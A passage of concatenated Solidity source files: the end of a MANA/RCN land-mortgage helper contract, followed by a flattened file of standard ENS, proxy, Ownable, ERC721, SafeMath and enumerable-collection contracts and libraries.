emit SetConverterRamp(converterRamp, _converterRamp);
emit SetTokenConverter(tokenConverter, _tokenConverter);
}
/**
@dev Creates a loan using an array of parameters
@param params 0 - Ammount
1 - Interest rate
2 - Interest rate punitory
3 - Dues in
4 - Cancelable at
5 - Expiration of request
@param metadata Loan metadata
@return Id of the loan
*/
function createLoan(uint256[6] memory params, string metadata) internal returns (uint256) {
return nanoLoanEngine.createLoan(
manaOracle,
msg.sender,
MANA_CURRENCY,
params[0],
params[1],
params[2],
params[3],
params[4],
params[5],
metadata
);
}
/**
@notice Sets a max amount to expend when performing the payment
@dev Only owner
@param _maxSpend New maxSPend value
@return true If the change was made
*/
function setMaxSpend(uint256 _maxSpend) external onlyOwner returns (bool) {
emit SetMaxSpend(maxSpend, _maxSpend);
maxSpend = _maxSpend;
return true;
}
/**
@notice Sets required total of the mortgage
@dev Only owner
@param _requiredTotal New requiredTotal value
@return true If the change was made
*/
function setRequiredTotal(uint256 _requiredTotal) external onlyOwner returns (bool) {
emit SetRequiredTotal(requiredTotal, _requiredTotal);
requiredTotal = _requiredTotal;
return true;
}
/**
@notice Sets a new converter ramp to delegate the pay of the loan
@dev Only owner
@param _converterRamp Address of the converter ramp contract
@return true If the change was made
*/
function setConverterRamp(address _converterRamp) external onlyOwner returns (bool) {
emit SetConverterRamp(converterRamp, _converterRamp);
converterRamp = _converterRamp;
return true;
}
/**
@notice Sets a new min of tokens to rebuy when paying a loan
@dev Only owner
@param _rebuyThreshold New rebuyThreshold value
@return true If the change was made
*/
function setRebuyThreshold(uint256 _rebuyThreshold) external onlyOwner returns (bool) {
emit SetRebuyThreshold(rebuyThreshold, _rebuyThreshold);
rebuyThreshold = _rebuyThreshold;
return true;
}
/**
@notice Sets how much the converter ramp is going to oversell to cover fees and gaps
@dev Only owner
@param _marginSpend New marginSpend value
@return true If the change was made
*/
function setMarginSpend(uint256 _marginSpend) external onlyOwner returns (bool) {
emit SetMarginSpend(marginSpend, _marginSpend);
marginSpend = _marginSpend;
return true;
}
/**
@notice Sets the token converter used to convert the MANA into RCN when performing the payment
@dev Only owner
@param _tokenConverter Address of the tokenConverter contract
@return true If the change was made
*/
function setTokenConverter(TokenConverter _tokenConverter) external onlyOwner returns (bool) {
emit SetTokenConverter(tokenConverter, _tokenConverter);
tokenConverter = _tokenConverter;
return true;
}
function _tokenTransferFrom(Token token, address from, address to, uint256 amount) internal {
require(token.balanceOf(from) >= amount, "From balance is not enough");
require(token.allowance(from, address(this)) >= amount, "Allowance is not enough");
require(token.transferFrom(from, to, amount), "Transfer failed");
}
/**
@notice Request a loan and attachs a mortgage request
@dev Requires the loan signed by the borrower
@param loanParams 0 - Ammount
1 - Interest rate
2 - Interest rate punitory
3 - Dues in
4 - Cancelable at
5 - Expiration of request
@param metadata Loan metadata
@param landId Land to buy with the mortgage
@param v Loan signature by the borrower
@param r Loan signature by the borrower
@param s Loan signature by the borrower
@return The id of the mortgage
*/
function requestMortgage(
uint256[6] loanParams,
string metadata,
uint256 landId,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256) {
// Create a loan with the loanParams and metadata
uint256 loanId = createLoan(loanParams, metadata);
// Approve the created loan with the provided signature
require(nanoLoanEngine.registerApprove(nanoLoanEngine.getIdentifier(loanId), v, r, s), "Signature not valid");
// Calculate the requested amount for the mortgage deposit
uint256 landCost;
(, , landCost, ) = landMarket.auctionByAssetId(landId);
uint256 requiredDeposit = ((landCost * requiredTotal) / 100) - nanoLoanEngine.getAmount(loanId);
// Pull the required deposit amount
_tokenTransferFrom(mana, msg.sender, this, requiredDeposit);
require(mana.approve(mortgageManager, requiredDeposit));
// Create the mortgage request
uint256 mortgageId = mortgageManager.requestMortgageId(Engine(nanoLoanEngine), loanId, requiredDeposit, landId, tokenConverter);
emit NewMortgage(msg.sender, loanId, landId, mortgageId);
return mortgageId;
}
/**
@notice Pays a loan using mana
@dev The amount to pay must be set on mana
@param engine RCN Engine
@param loan Loan id to pay
@param amount Amount in MANA to pay
@return True if the payment was performed
*/
function pay(address engine, uint256 loan, uint256 amount) external returns (bool) {
emit PaidLoan(engine, loan, amount);
bytes32[4] memory loanParams = [
bytes32(engine),
bytes32(loan),
bytes32(amount),
bytes32(msg.sender)
];
uint256[3] memory converterParams = [
marginSpend,
amount.mult(uint256(100000).add(maxSpend)) / 100000,
rebuyThreshold
];
require(address(converterRamp).delegatecall(
bytes4(0x86ee863d),
address(tokenConverter),
address(mana),
loanParams,
0x140,
converterParams,
0x0
), "Error delegate pay call");
}
}
|
DC1
|
pragma solidity ^0.6.0;
interface IENS {
event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
event Transfer(bytes32 indexed node, address owner);
event NewResolver(bytes32 indexed node, address resolver);
event NewTTL(bytes32 indexed node, uint64 ttl);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function setRecord(bytes32, address, address, uint64) external;
function setSubnodeRecord(bytes32, bytes32, address, address, uint64) external;
function setSubnodeOwner(bytes32, bytes32, address) external returns(bytes32);
function setResolver(bytes32, address) external;
function setOwner(bytes32, address) external;
function setTTL(bytes32, uint64) external;
function setApprovalForAll(address, bool) external;
function owner(bytes32) external view returns (address);
function resolver(bytes32) external view returns (address);
function ttl(bytes32) external view returns (uint64);
function recordExists(bytes32) external view returns (bool);
function isApprovedForAll(address, address) external view returns (bool);
}
interface IReverseRegistrar {
function ADDR_REVERSE_NODE() external view returns (bytes32);
function ens() external view returns (IENS);
function defaultResolver() external view returns (address);
function claim(address) external returns (bytes32);
function claimWithResolver(address, address) external returns (bytes32);
function setName(string calldata) external returns (bytes32);
function node(address) external pure returns (bytes32);
}
// import "@ensdomains/ens/contracts/ENS.sol"; // ENS packages are dependency heavy
contract ENSReverseRegistration {
bytes32 internal constant ADDR_REVERSE_NODE = 0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2;
function _setName(IENS ens, string memory name)
internal
{
IReverseRegistrar(ens.owner(ADDR_REVERSE_NODE)).setName(name);
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback() external payable {
_fallback();
}
/**
* @return impl The Address of the implementation.
*/
function _implementation() internal virtual view returns (address impl);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "org.zeppelinos.proxy.implementation", and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation"));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transfered from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from`, `to` cannot be zero.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from`, `to` cannot be zero.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 tokenId) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from`, `to` cannot be zero.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external;
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
abstract contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a {IERC721-safeTransferFrom}. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data)
public virtual returns (bytes4);
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
/**
* @dev Library for managing an enumerable variant of Solidity's
* https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`]
* type.
*
* Maps have the following properties:
*
* - Entries are added, removed, and checked for existence in constant time
* (O(1)).
* - Entries are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableMap for EnumerableMap.UintToAddressMap;
*
* // Declare a set state variable
* EnumerableMap.UintToAddressMap private myMap;
* }
* ```
*
* As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are
* supported.
*/
library EnumerableMap {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Map type with
// bytes32 keys and values.
// The Map implementation uses private functions, and user-facing
// implementations (such as Uint256ToAddressMap) are just wrappers around
// the underlying Map.
// This means that we can only create new EnumerableMaps for types that fit
// in bytes32.
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
// Storage of map keys and values
MapEntry[] _entries;
// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
